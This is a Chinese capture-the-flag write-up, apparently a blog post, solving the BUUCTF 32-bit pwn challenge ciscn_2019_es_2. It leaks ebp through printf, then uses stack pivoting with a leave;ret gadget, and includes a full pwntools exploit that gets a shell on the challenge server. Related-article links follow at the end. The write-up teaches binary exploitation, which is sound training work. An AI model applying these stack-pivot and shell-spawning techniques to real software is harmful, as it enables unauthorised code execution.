buuctf中的ciscn_2019_es_2(栈迁移)

首先checksec检查保护机制:

-32位程序

-开启了栈不可执行保护

接下使用IDA进行反汇编分析:

发现vul函数和hack函数,分别点进去查看具体代码

vul函数内部:

发现s到栈底的距离为0x28,但是下面read只读入了0x30个字节的数据,可以触发栈溢出,但是只能覆盖到ebp和ret,这里就得想到用栈迁移来做这道题了

hack函数内部:

这里这是输出了"flag"这4个字母,对破解程序无任何帮助

首先在IDA中拿到system函数的地址:0x08048400

再输入以下代码拿到leave_ret的地址:0x0x08048562

复制代码
ROPgadget --binary pwn --only "leave|ret"

从上面可以看到s的宽度为40字节,可以将栈迁移到这里执行system函数,所以我们需要知道s的地址,这里我们可以通过s相对于ebp的偏移算出s的地址,但是我们得先拿到ebp的地址,printf有个bug可以让我们拿到ebp的地址,就是如果我们刚好输入了0x28个字节的数据,即将ebp前面的内容都覆盖上,在没遇到/0的情况下,printf会把ebp的地址打印出来,用这个方法拿到ebp的地址

接下来就是计算s的地址了,在pwndbg中进行调试,首先在第一个read输入aaaa然后CTRL+C退出程序,输入stack 30,查看栈内容,这里可以看到aaaa即s的内容存放在地址0xffffd0b0处,而ebp在0xffffd0e8处,相差0x38,所以s的地址为ebp - 0x38

这里先来看一下最终payload的构造:

第一行:先是4个'a'用于下面的leave_ret等下会解释,再是system的地址,然后是system函数的返回地址,可以是任意4字节的占位数据,之后是/bin/sh的地址,然后是/bin/sh,前面的/bin/sh地址就是对应这里的/bin/sh

第二行:将payload补齐到0x28字节,填满s的内存空间

第三行:先将ebp覆盖为s的地址,然后再将ret覆盖为leave_ret的地址

python 复制代码
payload = b'aaaa' + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'i')
payload += p32(s_addr) + p32(leave_ret_addr)
io.sendline(payload)

leave_ret在汇编代码中是这几行代码的组合:

leave = mov esp ebp + pop ebp

ret = pop eip

leave先把ebp的内容(在上面已被覆盖为s_addr)放到esp(栈底)中,然后从栈底弹出一个值(4字节,因为这里是32位程序)放到ebp中,由于这里的esp最终被覆盖为s的地址所以s即为新的栈底,所以payload最开始的'aaaa'最终被放到了ebp中,接下来是ret,又从栈底再次取出一个值(即接下来的system函数地址)放到eip中执行。

再解释一下/bin/sh地址的计算,从payload可以看到在/bin/sh前面有4个4字节的数据,由于最前面就是s的地址(s_addr),则/bin/sh的地址为s_addr + 0x10即ebp - 0x28

下面是完整的exp脚本代码:

第一次read先利用printf打印出ebp的地址,第二次read再来使用栈迁移拿到shell

python 复制代码
from pwn import *
context(arch='i386', os='linux', log_level='debug')

#io = process('./pwn')             # 在本地运行程序。
# gdb.attach(io)                    # 启动 GDB
io = connect('node5.buuoj.cn',28311)              # 与在线环境交互。

system_addr = 0x08048400
leave_ret_addr = 0x08048562

io.recvuntil(b'Welcome, my friend. What\'s your name?\n')
payload = b'a'*0x27 + b'b'
io.send(payload)

io.recvuntil(b'b')
ebp_addr = u32(io.recv(4))
s_addr = ebp_addr - 0x38
bin_sh_addr = ebp_addr - 0x28
print(hex(ebp_addr))

payload = b'aaaa' + p32(system_addr) + b'aaaa' + p32(bin_sh_addr) + b'/bin/sh\x00'
payload = payload.ljust(0x28,b'i')
payload += p32(s_addr) + p32(leave_ret_addr)
io.sendline(payload)

io.interactive()

这是运行结果:

相关推荐
牛奶咖啡132 小时前
Linux的实用技巧——终端安全会话、命令提示工具安装使用、端口连通性测试与rm命令无法使用解决方案
linux·tmux·linux实现后台安全运行会话·linux的端口连通性测试·linux的命令提示工具·rm命令无法使用解决方法·tldr
北龙云海2 小时前
全栈护航科研信息化:北龙云海驻场运维服务——为前沿探索提供稳定、安全的数字基座
运维·安全·运维服务·驻场运维
fufu03112 小时前
Linux环境下的C语言编程(五十二)
java·linux·c语言
Warren982 小时前
MySQL 8 中的保留关键字陷阱:当表名“lead”引发 SQL 语法错误
linux·数据库·python·sql·mysql·django·virtualenv
Hard but lovely2 小时前
linux: pthread库---posix线程创建使用接口&&状态
linux·开发语言·c++
柏木乃一2 小时前
进程(7)命令行参数与环境变量
linux·服务器·shell·环境变量·鸣潮
消失的旧时光-19432 小时前
从 JVM 到 Linux:一次真正的系统级理解
android·linux·jvm
会飞的小新2 小时前
Linux 基础命令速成手册(附详细示例)
linux·运维·服务器
iconball2 小时前
个人用云计算学习笔记 --23(Shell 编程-2)
linux·运维·笔记·学习·云计算